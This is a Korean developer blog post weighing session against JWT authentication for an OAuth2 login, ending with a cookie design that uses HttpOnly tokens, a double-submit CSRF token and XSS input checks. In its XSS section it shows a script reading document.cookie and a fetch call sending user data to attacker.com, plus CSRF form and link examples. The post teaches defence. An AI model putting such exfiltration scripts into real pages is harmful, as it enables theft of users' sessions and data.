Post

인증 방식 선택(Session,JWT)


프로젝트에서 로그인 기능을 OAuth2로 구현하는 도중, 인증 과정에서 JWT와 세션이라는 두 가지 선택지에서 어떤 기준으로 JWT를 선택하는지 고민해 보았습니다. 최종적으로 (HttpOnly=True, SameSite=Lax 쿠키 1개(Access, Refresh) + HttpOnlye=False 쿠키 1개 (CSRF 토큰) + XSS 검증 방안) 기반으로 인증 구조를 선택하게 된 과정들을 작성해 보겠습니다.



쿠키는 인증 로직에서 운송수단으로 작동합니다. 학습 초기에 쿠키를 인증 로직으로 사용해 보았는데 실제 유저 정보를 쿠키에 저장하는 것은 보안 상 매우 취약하므로 인증로직으로 사용할 수 없습니다.

따라서, Session과 JWT를 서비스에서 주로 인증로직으로 사용하는데 각각의 특징을 살펴보고 최종적으로 프로젝트에 어떤 형식으로 적용할지 선택해 보겠습니다.


2. 세션 (Session)


HttpSession 먼저 Spring Boot를 사용하여 세션을 사용하면 HttpSession을 고려해볼 수 있습니다. 아무 설정없이 사용한다면 생성된 세션은 서버 메모리에 저장됩니다. 이 때, 서버의 부하를 줄이기 위해 API 서버의 개수를 늘리게 되면 N개의 서버에서 1개의 서버에만 세션 데이터가 존재하는 상황이 발생합니다.

Session

이는 Session Stiky를 강제해야하는 상황으로 여러대의 서버에 요청을 분산시켜주는 로드밸런서에서 특정 사용자의 요청을 최초에 연결된 서버로 라우팅해줘야 사용자는 정상적으로 서비스를 이용할 수 있습니다.

하지만, 이 상황에서도 세션 정보를 갖고있던 서버가 다운되는 상황이 발생하면 서비스는 서버 내의 세션 정보를 잃게됩니다.

그래서 다음으로 고려해 볼 방법은 세션을 DB에 저장하는 방식입니다.

Session

이 상황에서는 로드밸런서로 서버 다중화를 한 상태에서도 세션 저장소로 DB를 바라보는 구조이므로 문제가 되지 않습니다.

이제 RDB에서 발생할 수 있는 문제점을 고려해야합니다. 세션을 RDB에 저장하게되면 I/O 작업 + 네트워크 트래픽 비용이 매 검증마다 발생합니다. 이런 불필요한 디스크 I/O를 줄이기 위해 Redis를 사용해 볼 수 있습니다.

Session

이 구조로 설계하게되면 DB에 세션을 저장하는 구조보다 조회/쓰기 속도가 빠르면서 모든 서버에게 동일한 세션 저장소를 제공할 수 있습니다.(인메모리 기반)

여기서 중요한 점은 디스크 I/O는 줄였지만 매 검증마다 네트워크 I/O는 필수적으로 발생한다는 것입니다(레디스 접근). 보통 세션을 생성할 때 해당 SessionId가 유효한 것인지, 어떤 유저를 바탕으로 생성되었는지 같은 정보를 사용하지 않습니다. 따라서, 세션은 매 요청마다 Client로 부터 받은 SessionId를 유효한 세션 정보(Redis, DB)와 대조 검증해야합니다.

JWT

그럼 JWT는 어떨까요? JWT의 가장 대표적인 특징은 토큰 payload 부분에 유저의 정보, 만료기한 같은 정보를 base64로 인코딩하여 담고 서버에서 관리하는 Secret Key를를 기반으로 내용과 헤더를 합쳐 암호화하여 토큰에 추가합니다. 이는 JWT의 Stateless 속성을 보여주는 가장 큰 특징입니다. 이를 바탕으로 세션에서는 매번 네트워크 I/O를 발생시켜 검증을 해야했지만, JWT는 토큰의 유효성 Secret Key로 확인해서 검증을 수행할 수 있습니다.


3. JWT


먼저 JWT를 사용하기 앞서 JWT에 사용되는 Secret key에 대해서 생각해 봐야 합니다. 내용 + header를 Secret key로 암호화한 것이 Signature라면 해커가 무차별 대입 공격으로 Secret key를 알아낼 확률이 있을 수 있습니다. (HS256 방식의 경우 2번 해싱하기 때문에 Secret Key를 보호할 수 있습니다. 그래도 Secret Key는 정기적으로 변경해 줘야 한다고 생각합니다.)

이런 가능성을 막기 위해 Secret key는 될 수 있으면 충분한 길이와 복잡성을 가진 형태로 구성해야합니다. 또한, 정기적인 키 교체를 통해 Secret key 유출을 막는 환경을 구성해야합니다.

이런 환경에서 JWT를 사용하는 방식으로는 대표적으로 2가지가 있습니다.


AccessToken만 사용하는 방식

이 방식은 토큰 저장 없이 (요청 -> 검증) One way 로직으로 동작 가능한 것이 가장 큰 장점입니다. 이 때, 토큰의 만료 시간을 짧게 설정해서 사용해야 합니다.

그 이유로는, 먼저 이 구조에서는 서버 쪽에서 토큰을 강제로 만료시킬 수단이 존재하지 않습니다. 따라서, 유출이 되더라도, 해당 토큰의 만료 시간을 짧게 만들어 공격자가 사용할 수 있는 시간을 제한해야합니다. 물론, 토큰이 유출될 확률은 매우 적지만, 그럴 가능성이 있을 수 있기 때문에 만료 기한을 짧게 설정하는 것이 중요합니다.


Access + Refresh 방식

만료 기한을 짧게 설정하게 되면, 사용자 입장에서 자주 로그아웃 되는 경험을 하며 최악의 경우 서비스 이탈까지도 일어날 수 있습니다. 이를 막기 위해 RefreshToken을 도입하게 되는데요 이 때, 토큰을 재발급을 위해 서버는 Refresh Token을 관리해야 하며 세션 때와 마찬가지로 DB나 Redis에 저장해야합니다.

동작 방식으로는 서버가 refresh를 위한 API를 만들고 검증 로직에 만료된 토큰이 도착하면 Token Expired를 응답으로 반환하도록 구현합니다.

Client단에서 이 응답을 통해 토큰이 만료됨을 확인하고 Refresh Token을 통해 토큰 재발급 요청을 보내는 구조로 동작합니다.


4. JWT를 사용할 때 고려해야할 점

인증 방식으로 JWT를 사용하기로 결정하였으면 JWT 토큰을 어떻게 주고받을지 생각해봐야한다. Header Based 방법과 Cookie Based 방법이 있으며 각 방법은 보안적인 관점에서 장단점이 존재합니다. 어떤 방식을 선택할지에 대한 근거는 보안 개념을 알아야 하므로 먼저 필요한 보안 개념을 알아보고 각각의 방식에 대해서 알아보겠습니다.


XSS(Cross-Site Scripting)
스크립트를 이용한 해킹 기법으로 서비스 내에 존재하는 게시글 작성 같은 기능에서 발생할 수 있습니다.

예를 들면, 악성 유저 A가 게시글을 작성할 때, 게시글에 JS 악성 스크립트를 작성하고 다른 사용자들이 해당 게시글을 열람하게되면 악성 스크립트가 실행돼 해커에게 JWT 토큰이 나 사용자 정보가 전달 될 수 있습니다. 이는 사용자 입력에 대한 철저한 검증과 특수문자 인코딩같은 방법을 사용하여 막을 수 있고 쿠키에 JWT토큰을 담아서 사용하는 경우 쿠키 옵션에 HttpOnly=true를 통해 토큰 자체를 탈취하는 것을 방지할 수 있습니다.

아래코드가 바로 악성 스크립트의 예시입니다. 자세히 살펴보면 document.cookie를 통해 자바스크립트 단에서 쿠키에 접근하는 것을 볼 수 있습니다.

1
2
3
4
<script>
  var userCookie = document.cookie;
  fetch(...);
</script>

fetch()나 XMLHttpRequest를 사용한 스크립트라면, 서버의 사용자 정보 API(/user/info 등)에 요청을 보낼 때, 현재 해당 게시글을 보고 있는 사용자의 로그인된 쿠키를 포함하기 때문에, 서버가 정상적인 요청으로 처리하고 서버에서 반환한 응답(사용자 정보)을 fetch(‘https://attacker.com/log’, { body: userInfo }) 같은 방식으로 공격자 서버에 넘기는 공격도 발생할 수 있습니다.

따라서 쿠키를 사용하여 토큰을 전달할 때 HttpOnly를 통해 JS단에서 쿠키 내용에 접근할 수 없도록 설정하고 유저 입력창 검증을 철저히 진행해 이런 XSS를 방어해야합니다.


CSRF(Cross-Site-Request-Scripting)
CSRF는 실제 운영되는 A사이트에서 진행되는 공격이 아닌 해커가 운영중인 B사이트에서 공격이 진행됩니다.

예를 들어, 사용자가 A 사이트에 로그인 상태에서 특정 광고(B 사이트)를 눌렀을 때, 아래와 같은 스크립트를 실행시키는 공격기법입니다.

1
<form action="https://example.com/money/transfer" method="POST">

이는, A 사이트에 대한 쿠키를 바탕으로 자동으로 사용자의 의도와 상관없이 특정 행위를 발생시키는 것으로 쿠키에 SameSite=Lax,Strict 옵션을 통해 방어할 수 있습니다.

외부 사이트에서 서비스 사이트의 쿠키를 바탕으로 게시글 삭제, 결제 등과 같은 기능들을 수행하는 것이 CSRF 공격의 대표적인 사례입니다.

하지만, GET 링크 이동 방식이나, 오래된 브라우저가 환경을 사용할 경우 쿠키의 옵션 SameSite 옵션만으로 CSRF를 방어할 수 없습니다.

그 예시로는 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET 요청 (링크 이동 )

<a href="..."> 같은 링크 클릭으로 브라우저가 GET 요청을 보내는 경우,
혹은 <form method="GET"> 으로 폼을 제출하는 경우

링크 클릭 = 사용자에 의한  레벨 네비게이션으로 인식  SameSite=Lax 모드에서도 쿠키 전송이 허용될  있습니다. (CSRF 위험)

CSRF와의 연관: GET으로 상태 변경 하는 코드가 서비스에 작성되어 있다면, 
a href=".../delete?postId=123"  외부 사이트에서 유도해 의도치 않은 삭제 가능.
-> 삭제 API의 메서드가 GET으로 되어있을 경우 발생할  있습니다.

 레벨 네비게이션
-> 브라우저 윈도우/탭의 메인 페이지를 새로운 URL로 바꾸는 행동

사용자에 의한  
-> 사용자가 링크를 클릭하거나 주소창에 입력하는 식으로 직접 실행하는 경우

따라서, 이를 방지하기 위해 여러가지 방법이 있는데 그 중 대표적인 방법이 Double Submit Cookie 입니다. 이 방법은 서버에서 쿠키에 CSRF 토큰을 추가하여 보내고 클라이언트는 요청 시 쿠키에서 해당 토큰을 꺼내 헤더에 포함해서 쿠키와 함께 보냅니다. 이 후, 서버는 쿠키와 헤더의 CSRF 토큰이 일치하는지 검증하여 CSRF 공격을 막습니다. 따라서 이 방법을 사용하려면 쿠키 옵션이 HttpOnly=false로 둔 상태로 사용해야합니다.

이 방식으로 사용하게 된다면 외부 요청으로부터 브라우저의 쿠키를 이용하는 공격이 들어와도 헤더에 CSRF 토큰을 포함해서 요청을 보내지 못해 공격이 성공할 수 없게 됩니다. 브라우저의 Same Origin Policy로 외부 도메인에서는 쿠키의 옵션이 HttpOnly=false라도 쿠키의 내용을 가져갈 수 없어 이런 방식이 가능하고, 가장 중요한 것은 이렇게 사용할 때 XSS 방어 대책을 잘 구성해야한 다는 것입니다.

최종적으로 이런 보안적인 관점이 어떻게 작용하는지 살펴보겠습니다.


Header Based 방식

헤더는 브라우저가 자동으로 전송하지 않으므로 CSRF 공격이 일어나지 않습니다. 하지만 XSS로 인한 직접 탈취에 취약합니다. JS로 언제든지 헤더에서 꺼내 사용할 수 있기 때문에 토큰이 탈취될 수 있습니다.

이 방법을 사용한다면, Client XSS 방어 대책을 잘 마련하고 Sever측에서도 한번 더 검증을 진행하여 XSS가 발생하지 않도록 대비하는 것이 가장 중요합니다.


쿠키의 경우 HttpOnly 옵션을 통해 XSS 직접 탈취를 방어할 수 있습니다. 하지만 여전히 스크립트 내에서 사용자 권한을 이용한 로직을 발생시킬 수 있기 때문에 역시 XSS 방어 대책이 필요합니다(사용자 입력창 검증). 또한 쿠키의 경우 브라우저가 자동으로 전송하기 때문에 CSRF 공격에 대한 방어 대책도 설정해야합니다. 위에서 설명한대로, 쿠키의 SameSite 옵션을 Lax나 Strict로 설정해야하고 CSRF 토큰을 사용해서 GET 이동 공격이나 오래된 브라우저 환경에서 쿠키 옵션을 지원하지 않는 경우를 대비해야합니다.


5. 최종 설계 구조


먼저, 세션은 네트워크 I/O를 자주 유발합니다. 따라서 이를 근거로 JWT를 선택하게 되었고 Access Key만 이용하는 방식은 사용자 편의성을 떨어트리기에 Access + Refresh 방식을 선택하게 되었습니다.

이후, 토큰을 전달하는 과정에서는 보안적인 관점에서 XSS와 CSRF를 모두 방지할 수 있는 (HttpOnly=true Cookie + HttpOnly=false Cookie + XSS 검증) 방식을 선택하였습니다.

이 방식은 HttpOnly=true인 쿠키에는 AccessToken과 RefreshToken을 저장하여 XSS의 위험을 방어하고 HttpOnly=false인 쿠키에는 CSRF 토큰을 전달하여 Double Submit Cookie기반 CSRF 공격을 방어하며 근본적으로는 XSS 검증을 강화해 CSRF와 XSS 위험을 모두 대비하는 방식입니다.

이런 방법들이 물론 모든 공격에 대비할 순 없지만 소프트웨어에서 보안은 공격하는 해커를 조금이라도 귀찮게 만드는 것이라고 생각합니다.

다음 포스트에서는 프로젝트에 사용할 Spring 기반 코드를 작성해가며 최종 설계 구조로 OAuth2 기반 검증 기능을 구현해보려고합니다.

This post is licensed under CC BY 4.0 by the author.